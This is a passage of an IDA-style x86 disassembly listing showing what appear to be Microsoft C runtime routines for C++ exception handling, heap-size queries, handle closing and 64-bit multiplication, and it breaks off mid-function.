loc_410C8F: ; CODE XREF: sub_410C14+74j
cmp [esi], ebx
jnz loc_410D90
cmp dword ptr [esi+10h], 3
jnz short loc_410CAD
cmp [esi+14h], edi
jnz short loc_410CAD
cmp dword ptr [esi+1Ch], 0
jnz short loc_410CAD
call sub_411422
loc_410CAD: ; CODE XREF: sub_410C14+41j
; sub_410C14+46j ...
cmp [esi], ebx
jnz loc_410D90
cmp dword ptr [esi+10h], 3
jnz loc_410D90
cmp [esi+14h], edi
jnz loc_410D90
mov edi, [ebp+var_10]
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_40BC5B
add esp, 14h
mov ebx, eax
loc_410CE4: ; CODE XREF: sub_410C14+162j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_18]
jnb loc_410D7B
cmp [ebx], edi
jg short loc_410D70
cmp edi, [ebx+4]
jg short loc_410D70
mov eax, [ebx+10h]
mov [ebp+arg_0], eax
mov eax, [ebx+0Ch]
test eax, eax
mov [ebp+var_C], eax
jle short loc_410D6D
loc_410D09: ; CODE XREF: sub_410C14+131j
mov eax, [esi+1Ch]
mov eax, [eax+0Ch]
lea edi, [eax+4]
mov eax, [eax]
test eax, eax
mov [ebp+var_8], eax
jle short loc_410D3A
loc_410D1B: ; CODE XREF: sub_410C14+124j
push dword ptr [esi+1Ch]
push dword ptr [edi]
push [ebp+arg_0]
call sub_410E63
add esp, 0Ch
test eax, eax
jnz short loc_410D49
dec [ebp+var_8]
add edi, 4
cmp [ebp+var_8], eax
jg short loc_410D1B
loc_410D3A: ; CODE XREF: sub_410C14+105j
dec [ebp+var_C]
add [ebp+arg_0], 10h
cmp [ebp+var_C], 0
jg short loc_410D09
jmp short loc_410D6D
; ---------------------------------------------------------------------------
loc_410D49: ; CODE XREF: sub_410C14+119j
push [ebp+var_14]
push [ebp+arg_1C]
push [ebp+arg_18]
push ebx
push dword ptr [edi]
push [ebp+arg_0]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_410F74
add esp, 2Ch
loc_410D6D: ; CODE XREF: sub_410C14+F3j
; sub_410C14+133j
mov edi, [ebp+var_10]
loc_410D70: ; CODE XREF: sub_410C14+DEj
; sub_410C14+E3j
inc [ebp+var_4]
add ebx, 14h
jmp loc_410CE4
; ---------------------------------------------------------------------------
loc_410D7B: ; CODE XREF: sub_410C14+D6j
cmp [ebp+arg_14], 0
jz short loc_410D8B
push 1
push esi
call sub_4112E9
pop ecx
pop ecx
loc_410D8B: ; CODE XREF: sub_410C14+56j
; sub_410C14+16Bj ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_410D90: ; CODE XREF: sub_410C14+37j
; sub_410C14+7Dj ...
cmp [ebp+arg_14], 0
jnz short loc_410DB6
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+var_10]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_410DBB
add esp, 20h
jmp short loc_410D8B
; ---------------------------------------------------------------------------
loc_410DB6: ; CODE XREF: sub_410C14+180j
jmp sub_4113CC
sub_410C14 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410DBB proc near ; CODE XREF: sub_410C14+198p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push ecx
push ecx
cmp dword_47F990, 0
push esi
push edi
jz short loc_410DEC
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40BB32
add esp, 1Ch
test eax, eax
jnz short loc_410E5F
loc_410DEC: ; CODE XREF: sub_410DBB+Ej
mov edi, [ebp+arg_14]
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_40BC5B
add esp, 14h
mov esi, eax
loc_410E08: ; CODE XREF: sub_410DBB+A2j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_8]
jnb short loc_410E5F
cmp edi, [esi]
jl short loc_410E57
cmp edi, [esi+4]
jg short loc_410E57
mov eax, [esi+0Ch]
mov ecx, [esi+10h]
shl eax, 4
add eax, ecx
mov ecx, [eax-0Ch]
test ecx, ecx
jz short loc_410E31
cmp byte ptr [ecx+8], 0
jnz short loc_410E57
loc_410E31: ; CODE XREF: sub_410DBB+6Ej
push 1
add eax, 0FFFFFFF0h
push [ebp+arg_1C]
push [ebp+arg_18]
push esi
push 0
push eax
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_410F74
add esp, 2Ch
loc_410E57: ; CODE XREF: sub_410DBB+57j
; sub_410DBB+5Cj ...
inc [ebp+var_4]
add esi, 14h
jmp short loc_410E08
; ---------------------------------------------------------------------------
loc_410E5F: ; CODE XREF: sub_410DBB+2Fj
; sub_410DBB+53j
pop edi
pop esi
leave
retn
sub_410DBB endp
; =============== S U B R O U T I N E =======================================
sub_410E63 proc near ; CODE XREF: sub_410C14+10Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_0]
mov eax, [edi+4]
test eax, eax
jz short loc_410EBA
cmp byte ptr [eax+8], 0
lea edx, [eax+8]
jz short loc_410EBA
mov esi, [esp+8+arg_4]
mov ecx, [esi+4]
cmp eax, ecx
jz short loc_410E94
add ecx, 8
push ecx
push edx
call sub_40C250
pop ecx
test eax, eax
pop ecx
jnz short loc_410EB6
loc_410E94: ; CODE XREF: sub_410E63+1Fj
test byte ptr [esi], 2
jz short loc_410E9E
test byte ptr [edi], 8
jz short loc_410EB6
loc_410E9E: ; CODE XREF: sub_410E63+34j
mov eax, [esp+8+arg_8]
mov eax, [eax]
test al, 1
jz short loc_410EAD
test byte ptr [edi], 1
jz short loc_410EB6
loc_410EAD: ; CODE XREF: sub_410E63+43j
test al, 2
jz short loc_410EBA
test byte ptr [edi], 2
jnz short loc_410EBA
loc_410EB6: ; CODE XREF: sub_410E63+2Fj
; sub_410E63+39j ...
xor eax, eax
jmp short loc_410EBD
; ---------------------------------------------------------------------------
loc_410EBA: ; CODE XREF: sub_410E63+Bj
; sub_410E63+14j ...
push 1
pop eax
loc_410EBD: ; CODE XREF: sub_410E63+55j
pop edi
pop esi
retn
sub_410E63 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410EC0 proc near ; CODE XREF: sub_410B79+34p
; sub_410F74+42p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4177E8
push offset sub_412F2C
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ebx, [ebp+arg_0]
mov esi, [ebx+8]
mov [ebp+var_1C], esi
mov edi, [ebp+arg_8]
loc_410EF2: ; CODE XREF: sub_410EC0+8Aj
cmp esi, [ebp+arg_C]
jz short loc_410F4C
cmp esi, 0FFFFFFFFh
jle short loc_410F01
cmp esi, [edi+4]
jl short loc_410F06
loc_410F01: ; CODE XREF: sub_410EC0+3Aj
call sub_411422
loc_410F06: ; CODE XREF: sub_410EC0+3Fj
and [ebp+var_4], 0
mov eax, [edi+8]
mov eax, [eax+esi*8+4]
test eax, eax
jz short loc_410F21
push 103h
push ebx
push eax
call sub_411380
loc_410F21: ; CODE XREF: sub_410EC0+53j
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_410F41
; ---------------------------------------------------------------------------
push [ebp+var_14]
call sub_410F5E
pop ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
or [ebp+var_4], 0FFFFFFFFh
mov edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov esi, [ebp+var_1C]
loc_410F41: ; CODE XREF: sub_410EC0+65j
mov eax, [edi+8]
mov esi, [eax+esi*8]
mov [ebp+var_1C], esi
jmp short loc_410EF2
; ---------------------------------------------------------------------------
loc_410F4C: ; CODE XREF: sub_410EC0+35j
mov [ebx+8], esi
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_410EC0 endp
; =============== S U B R O U T I N E =======================================
sub_410F5E proc near ; CODE XREF: sub_410EC0+6Ap
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jz short loc_410F6F
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_410F6F: ; CODE XREF: sub_410F5E+Cj
jmp sub_4113CC
sub_410F5E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410F74 proc near ; CODE XREF: sub_410C14+151p
; sub_410DBB+94p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
cmp [ebp+arg_18], 0
push ebx
mov ebx, [ebp+arg_14]
push esi
push edi
mov edi, [ebp+arg_4]
jz short loc_410F96
push [ebp+arg_18]
push ebx
push edi
push [ebp+arg_0]
call sub_411125
add esp, 10h
loc_410F96: ; CODE XREF: sub_410F74+10j
cmp [ebp+arg_24], 0
push [ebp+arg_0]
jnz short loc_410FA2
push edi
jmp short loc_410FA5
; ---------------------------------------------------------------------------
loc_410FA2: ; CODE XREF: sub_410F74+29j
push [ebp+arg_24]
loc_410FA5: ; CODE XREF: sub_410F74+2Cj
call sub_40BA34
mov esi, [ebp+arg_1C]
push dword ptr [esi]
push [ebp+arg_10]
push [ebp+arg_C]
push edi
call sub_410EC0
mov eax, [esi+4]
push 100h
push [ebp+arg_20]
inc eax
mov [edi+8], eax
push dword ptr [ebx+0Ch]
push [ebp+arg_10]
push [ebp+arg_8]
push edi
push [ebp+arg_0]
call sub_410FEF
add esp, 2Ch
test eax, eax
jz short loc_410FEA
push edi
push eax
call sub_40B9F2
loc_410FEA: ; CODE XREF: sub_410F74+6Dj
pop edi
pop esi
pop ebx
pop ebp
retn
sub_410F74 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410FEF proc near ; CODE XREF: sub_410F74+63p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4177F8
push offset sub_412F2C
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_10]
mov [ebp+var_2C], eax
xor ebx, ebx
mov [ebp+var_24], ebx
mov esi, [ebp+arg_4]
mov ecx, [esi-4]
mov [ebp+var_28], ecx
mov ecx, dword_47F988
mov [ebp+var_1C], ecx
mov ecx, dword_47F98C
mov [ebp+var_20], ecx
mov edi, [ebp+arg_0]
mov dword_47F988, edi
mov ecx, [ebp+arg_8]
mov dword_47F98C, ecx
mov [ebp+var_4], ebx
mov [ebp+var_4], 1
push [ebp+arg_18]
push [ebp+arg_14]
push eax
push [ebp+arg_C]
push esi
call sub_40BAB9
add esp, 14h
mov [ebp+var_2C], eax
mov [ebp+var_4], ebx
or [ebp+var_4], 0FFFFFFFFh
call sub_4110B5
mov eax, [ebp+var_2C]
loc_41107C: ; CODE XREF: sub_411095+16j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_410FEF endp
; =============== S U B R O U T I N E =======================================
sub_41108B proc near ; DATA XREF: .nsp0:00417808o
push dword ptr [ebp-14h]
call sub_4110FB
pop ecx
retn
sub_41108B endp
; =============== S U B R O U T I N E =======================================
sub_411095 proc near ; DATA XREF: .nsp0:0041780Co
mov esp, [ebp-18h]
and dword ptr [ebp-2Ch], 0
push 0FFFFFFFFh
lea eax, [ebp-10h]
push eax
call sub_40BD1A
pop ecx
pop ecx
xor eax, eax
jmp short loc_41107C
sub_411095 endp
; ---------------------------------------------------------------------------
loc_4110AD: ; DATA XREF: .nsp0:00417800o
xor ebx, ebx
mov esi, [ebp+0Ch]
mov edi, [ebp+8]
; =============== S U B R O U T I N E =======================================
sub_4110B5 proc near ; CODE XREF: sub_410FEF+85p
mov eax, [ebp-28h]
mov [esi-4], eax
mov eax, [ebp-1Ch]
mov dword_47F988, eax
mov eax, [ebp-20h]
mov dword_47F98C, eax
cmp dword ptr [edi], 0E06D7363h
jnz short locret_4110FA
cmp dword ptr [edi+10h], 3
jnz short locret_4110FA
cmp dword ptr [edi+14h], 19930520h
jnz short locret_4110FA
cmp [ebp-24h], ebx
jnz short locret_4110FA
cmp [ebp-2Ch], ebx
jz short locret_4110FA
call sub_40BD82
push eax
push edi
call sub_4112E9
pop ecx
pop ecx
locret_4110FA: ; CODE XREF: sub_4110B5+1Cj
; sub_4110B5+22j ...
retn
sub_4110B5 endp
; =============== S U B R O U T I N E =======================================
sub_4110FB proc near ; CODE XREF: sub_41108B+3p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_411122
cmp dword ptr [eax+10h], 3
jnz short loc_411122
cmp dword ptr [eax+14h], 19930520h
jnz short loc_411122
cmp dword ptr [eax+1Ch], 0
jnz short loc_411122
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_411122: ; CODE XREF: sub_4110FB+Cj
; sub_4110FB+12j ...
xor eax, eax
retn
sub_4110FB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411125 proc near ; CODE XREF: sub_410F74+1Ap
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_417810
push offset sub_412F2C
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ecx, [ebp+arg_8]
mov eax, [ecx+4]
test eax, eax
jz loc_4112CE
cmp byte ptr [eax+8], 0
jz loc_4112CE
mov eax, [ecx+8]
test eax, eax
jz loc_4112CE
mov edx, [ebp+arg_4]
lea edi, [eax+edx+0Ch]
and [ebp+var_4], 0
test byte ptr [ecx], 8
jz short loc_4111C2
mov esi, [ebp+arg_0]
push 1
push dword ptr [esi+18h]
call sub_413DA0
pop ecx
pop ecx
test eax, eax
jz loc_4112C5
push 1
push edi
call sub_413DBC
pop ecx
pop ecx
test eax, eax
jz loc_4112C5
mov eax, [esi+18h]
mov [edi], eax
mov ecx, [ebp+arg_C]
add ecx, 8
push ecx
loc_4111B3: ; CODE XREF: sub_411125+F5j
push eax
call sub_411350
pop ecx
pop ecx
mov [edi], eax
jmp loc_4112CA
; ---------------------------------------------------------------------------
loc_4111C2: ; CODE XREF: sub_411125+57j
mov esi, [ebp+arg_C]
test byte ptr [esi], 1
jz short loc_41121C
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
call sub_413DA0
pop ecx
pop ecx
test eax, eax
jz loc_4112C5
push 1
push edi
call sub_413DBC
pop ecx
pop ecx
test eax, eax
jz loc_4112C5
push dword ptr [esi+14h]
push dword ptr [ebx+18h]
push edi
call sub_40BE50
add esp, 0Ch
cmp dword ptr [esi+14h], 4
jnz loc_4112CA
mov eax, [edi]
test eax, eax
jz loc_4112CA
add esi, 8
push esi
jmp short loc_4111B3
; ---------------------------------------------------------------------------
loc_41121C: ; CODE XREF: sub_411125+A3j
cmp dword ptr [esi+18h], 0
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
jnz short loc_411264
call sub_413DA0
pop ecx
pop ecx
test eax, eax
jz loc_4112C5
push 1
push edi
call sub_413DBC
pop ecx
pop ecx
test eax, eax
jz short loc_4112C5
push dword ptr [esi+14h]
add esi, 8
push esi
push dword ptr [ebx+18h]
call sub_411350
pop ecx
pop ecx
push eax
push edi
call sub_40BE50
add esp, 0Ch
jmp short loc_4112CA
; ---------------------------------------------------------------------------
loc_411264: ; CODE XREF: sub_411125+103j
call sub_413DA0
pop ecx
pop ecx
test eax, eax
jz short loc_4112C5
push 1
push edi
call sub_413DBC
pop ecx
pop ecx
test eax, eax
jz short loc_4112C5
push dword ptr [esi+18h]
call sub_413DD8
pop ecx
test eax, eax
jz short loc_4112C5
test byte ptr [esi], 4
jz short loc_4112AB
push 1
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_411350
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_40BA2D
jmp short loc_4112CA
; ---------------------------------------------------------------------------
loc_4112AB: ; CODE XREF: sub_411125+168j
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_411350
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_40BA26
jmp short loc_4112CA
; ---------------------------------------------------------------------------
loc_4112C5: ; CODE XREF: sub_411125+6Aj
; sub_411125+7Cj ...
call sub_411422
loc_4112CA: ; CODE XREF: sub_411125+98j
; sub_411125+E1j ...
or [ebp+var_4], 0FFFFFFFFh
loc_4112CE: ; CODE XREF: sub_411125+2Ej
; sub_411125+38j ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_411125 endp
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_4113CC
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4112E9 proc near ; CODE XREF: sub_410C14+170p
; sub_4110B5+3Ep
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_417820
push offset sub_412F2C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_0]
test eax, eax
jz short loc_411330
mov ecx, [eax+1Ch]
mov ecx, [ecx+4]
test ecx, ecx
jz short loc_411330
and [ebp+var_4], 0
push ecx
push dword ptr [eax+18h]
call sub_40BA26
or [ebp+var_4], 0FFFFFFFFh
loc_411330: ; CODE XREF: sub_4112E9+2Aj
; sub_4112E9+34j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_4112E9 endp
; ---------------------------------------------------------------------------
xor eax, eax
cmp [ebp+0Ch], al
setnz al
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_4113CC
; =============== S U B R O U T I N E =======================================
sub_411350 proc near ; CODE XREF: sub_411125+8Fp
; sub_411125+12Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
mov eax, [ecx]
mov edx, [ecx+4]
add eax, esi
test edx, edx
jl short loc_411371
mov esi, [edx+esi]
mov ecx, [ecx+8]
mov ecx, [esi+ecx]
add ecx, edx
add eax, ecx
loc_411371: ; CODE XREF: sub_411350+12j
pop esi
retn
sub_411350 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411380 proc near ; CODE XREF: sub_40BAB9+40p
; sub_410EC0+5Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 4
push ebx
push ecx
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push ebp
push [ebp+arg_8]
mov ecx, [ebp+arg_8]
mov ebp, [ebp+var_4]
call sub_40BDA5
push esi
push edi
call eax
pop edi
pop esi
mov ebx, ebp
pop ebp
mov ecx, [ebp+arg_8]
push ebp
mov ebp, ebx
cmp ecx, 100h
jnz short loc_4113BF
mov ecx, 2
loc_4113BF: ; CODE XREF: sub_411380+38j
push ecx
call sub_40BDA5
pop ebp
pop ecx
pop ebx
leave
retn 0Ch
sub_411380 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4113CC proc near ; CODE XREF: sub_410C14:loc_410DB6j
; sub_410F5E:loc_410F6Fj ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00413DF0 SIZE 00000017 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_417830
push offset sub_412F2C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, dword_47F994
test eax, eax
jz short loc_411414
mov [ebp+var_4], 1
call eax
jmp short loc_411410
; ---------------------------------------------------------------------------
loc_411409: ; DATA XREF: .nsp0:00417840o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41140D: ; DATA XREF: .nsp0:00417844o
mov esp, [ebp+var_18]
loc_411410: ; CODE XREF: sub_4113CC+3Bj
and [ebp+var_4], 0
loc_411414: ; CODE XREF: sub_4113CC+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_41141D: ; DATA XREF: .nsp0:00417838o
jmp loc_413DF0
sub_4113CC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411422 proc near ; CODE XREF: sub_40BC5B+23p
; sub_40BC5B:loc_40BCC6p ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_417848
push offset sub_412F2C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, off_41FD74
test eax, eax
jz short loc_41146A
mov [ebp+var_4], 1
call eax ; sub_4113CC
jmp short loc_411466
; ---------------------------------------------------------------------------
loc_41145F: ; DATA XREF: .nsp0:00417858o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_411463: ; DATA XREF: .nsp0:0041785Co
mov esp, [ebp+var_18]
loc_411466: ; CODE XREF: sub_411422+3Bj
and [ebp+var_4], 0
loc_41146A: ; CODE XREF: sub_411422+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_411473: ; DATA XREF: .nsp0:00417850o
jmp sub_4113CC
sub_411422 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411478 proc near ; CODE XREF: sub_40C193+7p
; sub_40C193+26p
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword_480F88
push esi
cmp eax, 3
jnz short loc_4114A1
mov esi, [ebp+arg_0]
push esi
call sub_40EC58
test eax, eax
pop ecx
jz short loc_41149E
mov eax, [esi-4]
sub eax, 9
jmp short loc_4114D6
; ---------------------------------------------------------------------------
loc_41149E: ; CODE XREF: sub_411478+1Cj
push esi
jmp short loc_4114C8
; ---------------------------------------------------------------------------
loc_4114A1: ; CODE XREF: sub_411478+Ej
cmp eax, 2
jnz short loc_4114C5
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
push [ebp+arg_0]
call sub_40F9B3
add esp, 0Ch
test eax, eax
jz short loc_4114C5
movzx eax, byte ptr [eax]
shl eax, 4
jmp short loc_4114D6
; ---------------------------------------------------------------------------
loc_4114C5: ; CODE XREF: sub_411478+2Cj
; sub_411478+43j
push [ebp+arg_0]
loc_4114C8: ; CODE XREF: sub_411478+27j
push 0
push dword_480F84
call dword_417144 ; RtlSizeHeap
loc_4114D6: ; CODE XREF: sub_411478+24j
; sub_411478+4Bj
pop esi
leave
retn
sub_411478 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4114D9 proc near ; CODE XREF: sub_40C324+17p
; sub_40C324+58p ...
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
lea ecx, [eax+1]
cmp ecx, 100h
ja short loc_4114F7
mov ecx, off_41FD78
movzx eax, word ptr [ecx+eax*2]
jmp short loc_411549
; ---------------------------------------------------------------------------
loc_4114F7: ; CODE XREF: sub_4114D9+10j
mov ecx, eax
push esi
mov esi, off_41FD78
sar ecx, 8
movzx edx, cl
test byte ptr [esi+edx*2+1], 80h
pop esi
jz short loc_41151C
and [ebp+var_2], 0
mov [ebp+var_4], cl
mov [ebp+var_3], al
push 2
jmp short loc_411525
; ---------------------------------------------------------------------------
loc_41151C: ; CODE XREF: sub_4114D9+33j
and [ebp+var_3], 0
mov [ebp+var_4], al
push 1
loc_411525: ; CODE XREF: sub_4114D9+41j
pop eax
lea ecx, [ebp+arg_0+2]
push 1
push 0
push 0
push ecx
push eax
lea eax, [ebp+var_4]
push eax
push 1
call sub_413E07
add esp, 1Ch
test eax, eax
jnz short loc_411545
leave
retn
; ---------------------------------------------------------------------------
loc_411545: ; CODE XREF: sub_4114D9+68j
movzx eax, word ptr [ebp+arg_0+2]
loc_411549: ; CODE XREF: sub_4114D9+1Cj
and eax, [ebp+arg_4]
leave
retn
sub_4114D9 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_411550 proc near ; CODE XREF: sub_40DF72+7F8p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
mov ecx, [esp+arg_C]
or ecx, eax
mov ecx, [esp+arg_8]
jnz short loc_411569
mov eax, [esp+arg_0]
mul ecx
retn 10h
; ---------------------------------------------------------------------------
loc_411569: ; CODE XREF: sub_411550+Ej
push ebx
mul ecx
mov ebx, eax
mov eax, [esp+4+arg_0]
mul [esp+4+arg_C]
add ebx, eax
mov eax, [esp+4+arg_0]
mul ecx
add edx, ebx
pop ebx
retn 10h
sub_411550 endp
; =============== S U B R O U T I N E =======================================
sub_411584 proc near ; CODE XREF: sub_40C3BA+2Ap
; sub_41416A+290p
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
cmp edi, dword_480D40
jnb loc_41161E
mov eax, edi
mov esi, edi
sar eax, 5
and esi, 1Fh
lea ebx, ds:480C40h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [eax+esi+4], 1
jz short loc_41161E
push edi
call sub_4140D6
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_4115FD
cmp edi, 1
jz short loc_4115CB
cmp edi, 2
jnz short loc_4115E1
loc_4115CB: ; CODE XREF: sub_411584+40j
push 2
call sub_4140D6
push 1
mov ebp, eax
call sub_4140D6
pop ecx
cmp eax, ebp
pop ecx
jz short loc_4115FD
loc_4115E1: ; CODE XREF: sub_411584+45j
push edi
call sub_4140D6
pop ecx
push eax
call dword_417074 ; CloseHandle
test eax, eax
jnz short loc_4115FD
call dword_417044 ; RtlGetLastWin32Error
mov ebp, eax
jmp short loc_4115FF
; ---------------------------------------------------------------------------
loc_4115FD: ; CODE XREF: sub_411584+3Bj
; sub_411584+5Bj ...
xor ebp, ebp
loc_4115FF: ; CODE XREF: sub_411584+77j
push edi
call sub_41405C
mov eax, [ebx]
pop ecx
and byte ptr [eax+esi+4], 0
test ebp, ebp
jz short loc_41161A
push ebp
call sub_411C26
pop ecx
jmp short loc_41162F
; ---------------------------------------------------------------------------
loc_41161A: ; CODE XREF: sub_411584+8Bj
xor eax, eax
jmp short loc_411632
; ---------------------------------------------------------------------------
loc_41161E: ; CODE XREF: sub_411584+Ej
; sub_411584+2Fj
and dword_47F918, 0
mov dword_47F914, 9
loc_41162F: ; CODE XREF: sub_411584+94j
or eax, 0FFFFFFFFh
loc_411632: ; CODE XREF: sub_411584+98j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_411584 endp
; =============== S U B R O U T I N E =======================================
sub_411637 proc near ; CODE XREF: sub_40C3BA+22p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz short loc_411660
test al, 8
jz short loc_411660
push dword ptr [esi+8]
call sub_40B771
and word ptr [esi+0Ch], 0FBF7h
xor eax, eax
pop ecx
mov [esi], eax
mov [esi+8], eax
mov [esi+4], eax
loc_411660: ; CODE XREF: sub_411637+Aj
; sub_411637+Ej
pop esi
retn
sub_411637 endp
; =============== S U B R O U T I N E =======================================
sub_411662 proc near ; CODE XREF: sub_411702+2Dp
; sub_411702+48p
arg_0 = dword ptr 4
push esi
